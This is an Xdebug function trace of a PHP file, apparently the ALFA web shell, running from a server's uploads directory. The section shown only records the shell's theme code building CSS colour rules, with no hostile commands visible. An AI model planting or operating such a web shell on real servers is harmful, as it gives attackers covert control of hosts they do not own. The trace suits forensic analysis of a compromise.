5	174	0	0.020794	2800568	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'main_row:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5	174	1	0.020825	2800568
5	174	R			'#646464'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#646464'
5	175	0	0.020849	2800568	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#646464'	'background-color: {color};'
5	175	1	0.020866	2800720
5	175	R			'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.main tr:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_header'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.main th'
5	176	0	0.020925	2800584	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'main_header'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5	176	1	0.020954	2800584
5	176	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	177	0	0.020979	2800584	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	177	1	0.020993	2800720
5	177	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.main th{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_name'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.main .main_name'
5	178	0	0.021051	2800568	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'main_name'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5	178	1	0.021088	2800568
5	178	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	179	0	0.021112	2800568	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
5	179	1	0.021128	2800728
5	179	R			'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_size'
5	180	0	0.021179	2800592	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'main_size'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#67ABDF'
5	180	1	0.021203	2800592
5	180	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.main_size{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_modify'
5	181	0	0.021250	2800592	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'main_modify'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#67ABDF'
5	181	1	0.021274	2800592
5	181	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.main_modify{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_owner_group'
5	182	0	0.021320	2800848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'main_owner_group'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#67ABDF'
5	182	1	0.021344	2800848
5	182	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.main_owner_group{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_green_perm'
5	183	0	0.021390	2800848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'main_green_perm'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#25ff00'
5	183	1	0.021414	2800848
5	183	R			'#25ff00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#25ff00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.main_green_perm{color: #25ff00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_red_perm'
5	184	0	0.021459	2800848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'main_red_perm'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#FF0000'
5	184	1	0.021483	2800848
5	184	R			'#FF0000'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#FF0000'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.main_red_perm{color: #FF0000;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_white_perm'
5	185	0	0.021530	2800848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'main_white_perm'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#FFFFFF'
5	185	1	0.021554	2800848
5	185	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.main_white_perm{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'beetween_perms'
5	186	0	0.021599	2800848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'beetween_perms'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#FFFFFF'
5	186	1	0.021636	2800848
5	186	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.beetween_perms{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_actions'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.main .actions'
5	187	0	0.021694	2800848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'main_actions'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5	187	1	0.021727	2800848
5	187	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	188	0	0.021752	2800848	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	188	1	0.021766	2800984
5	188	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.main .actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'minimize_editor_background'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.minimized-wrapper'
5	189	0	0.021824	2800824	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'minimize_editor_background'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5	189	1	0.021856	2800824
5	189	R			'#0e304a'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0e304a'
5	190	0	0.021880	2800824	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0e304a'	'background-color: {color};'
5	190	1	0.021897	2800976
5	190	R			'background-color: #0e304a;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #0e304a;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.minimized-wrapper{background-color: #0e304a;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'minimize_editor_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.minimized-text'
5	191	0	0.021958	2800840	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'minimize_editor_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5	191	1	0.021988	2800840
5	191	R			'#f5deb3'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#f5deb3'
5	192	0	0.022013	2800840	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#f5deb3'	'color: {color};'
5	192	1	0.022028	2800976
5	192	R			'color: #f5deb3;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #f5deb3;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.minimized-text{color: #f5deb3;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor-explorer,.editor-modal'
5	193	0	0.022088	2801080	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5	193	1	0.022120	2801080
5	193	R			'#0e304a'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0e304a'
5	194	0	0.022144	2801080	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
5	194	1	0.022160	2801232
5	194	R			'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_background'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor-explorer,.editor-modal'
5	195	0	0.022223	2801096	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_background'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5	195	1	0.022256	2801096
5	195	R			'rgba(0, 1, 23, 0.94)'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = 'rgba(0, 1, 23, 0.94)'
5	196	0	0.022281	2801096	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
5	196	1	0.022298	2801272
5	196	R			'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_header_background'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor-header'
5	197	0	0.022367	2801120	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_header_background'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5	197	1	0.022399	2801120
5	197	R			'rgba(21, 66, 88, 0.93)'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = 'rgba(21, 66, 88, 0.93)'
5	198	0	0.022426	2801120	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
5	198	1	0.022442	2801296
5	198	R			'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_header_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor-path'
5	199	0	0.022505	2801120	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_header_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5	199	1	0.022536	2801120
5	199	R			'#00ff7f'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#00ff7f'
5	200	0	0.022560	2801120	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#00ff7f'	'color: {color};'
5	200	1	0.022575	2801256
5	200	R			'color: #00ff7f;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #00ff7f;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor-path{color: #00ff7f;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_header_button'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.close-button, .editor-minimize'
5	201	0	0.022634	2801080	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_header_button'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5	201	1	0.022666	2801080
5	201	R			'#1d5673'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#1d5673'
5	202	0	0.022691	2801080	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#1d5673'	'background-color: {color};'
5	202	1	0.022707	2801232
5	202	R			'background-color: #1d5673;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #1d5673;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_actions'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor_actions'
5	203	0	0.022770	2801352	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_actions'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5	203	1	0.022800	2801352
5	203	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	204	0	0.022824	2801352	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	204	1	0.022839	2801488
5	204	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor_actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_file_info_vars'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor_file_info_vars'
5	205	0	0.022898	2801336	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_file_info_vars'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5	205	1	0.022929	2801336
5	205	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	206	0	0.022953	2801336	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	206	1	0.022970	2801472
5	206	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_file_info_values'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.filestools'
5	207	0	0.023029	2801336	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_file_info_values'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5	207	1	0.023059	2801336
5	207	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#67ABDF'
5	208	0	0.023084	2801336	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	208	1	0.023099	2801472
5	208	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.filestools{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_history_header'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.hheader-text,.history-clear'
5	209	0	0.023164	2801336	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_history_header'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5	209	1	0.023196	2801336
5	209	R			'#14ff07'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#14ff07'
5	210	0	0.023221	2801336	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#14ff07'	'color: {color};'
5	210	1	0.023235	2801472
5	210	R			'color: #14ff07;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #14ff07;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_history_list'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.editor-file-name'
5	211	0	0.023305	2801336	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_history_list'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5	211	1	0.023346	2801336
5	211	R			'#03b3a3'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#03b3a3'
5	212	0	0.023378	2801336	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#03b3a3'	'color: {color};'
5	212	1	0.023394	2801472
5	212	R			'color: #03b3a3;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #03b3a3;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.editor-file-name{color: #03b3a3;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_history_selected_file'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.is_active'
5	213	0	0.023453	2801336	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_history_selected_file'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5	213	1	0.023494	2801336
5	213	R			'rgba(49, 55, 93, 0.77)'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = 'rgba(49, 55, 93, 0.77)'
5	214	0	0.023542	2801336	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
5	214	1	0.023570	2801512
5	214	R			'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'editor_history_file:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.file-holder > .history:hover'
5	215	0	0.023689	2801888	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'editor_history_file:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5	215	1	0.023761	2801888
5	215	R			'#646464'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#646464'
5	216	0	0.023810	2801888	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#646464'	'background-color: {color};'
5	216	1	0.023838	2802040
5	216	R			'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.file-holder > .history:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'input_box_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'input[type=text],textarea'
5	217	0	0.023956	2801864	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'input_box_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5	217	1	0.024011	2801864
5	217	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	218	0	0.024055	2801864	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	218	1	0.024084	2802016
5	218	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'input_box_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'input[type=text],textarea'
5	219	0	0.024194	2801864	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'input_box_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5	219	1	0.024245	2801864
5	219	R			'#999999'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#999999'
5	220	0	0.024289	2801864	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#999999'	'color: {color};'
5	220	1	0.024314	2802000
5	220	R			'color: #999999;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #999999;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'input[type=text],textarea{color: #999999;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'input_box:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'input[type=text]:hover,textarea:hover'
5	221	0	0.024419	2801848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'input_box:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	221	1	0.024477	2801848
5	221	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#27979B'
5	222	0	0.024520	2801848	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	222	1	0.024548	2802024
5	222	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'select_box_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'select'
5	223	0	0.024654	2801888	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'select_box_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5	223	1	0.024687	2801888
5	223	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	224	0	0.024712	2801888	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	224	1	0.024728	2802040
5	224	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'select{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'select_box_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'select'
5	225	0	0.024796	2801864	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'select_box_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5	225	1	0.024826	2801864
5	225	R			'#FFFFEE'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFEE'
5	226	0	0.024851	2801864	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFEE'	'color: {color};'
5	226	1	0.024865	2802000
5	226	R			'color: #FFFFEE;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFEE;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'select{color: #FFFFEE;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'select_box:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'select:hover'
5	227	0	0.024924	2801848	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'select_box:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	227	1	0.024956	2801848
5	227	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#27979B'
5	228	0	0.024980	2801848	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	228	1	0.024997	2802024
5	228	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'button_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'input[type=submit],.button,#addup'
5	229	0	0.025063	2801888	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'button_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5	229	1	0.025094	2801888
5	229	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#27979B'
5	230	0	0.025118	2801888	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#27979B'	'border: 1px solid {color};'
5	230	1	0.025134	2802040
5	230	R			'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'button:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = 'input[type=submit]:hover'
5	231	0	0.025195	2801864	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'button:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	231	1	0.025230	2801864
5	231	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#27979B'
5	232	0	0.025254	2801864	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
5	232	1	0.025271	2802040
5	232	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.button:hover,#addup:hover'
5	233	0	0.025327	2802400	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'button:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	233	1	0.025365	2802400
5	233	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#27979B'
5	234	0	0.025390	2802400	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	234	1	0.025406	2802576
5	234	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
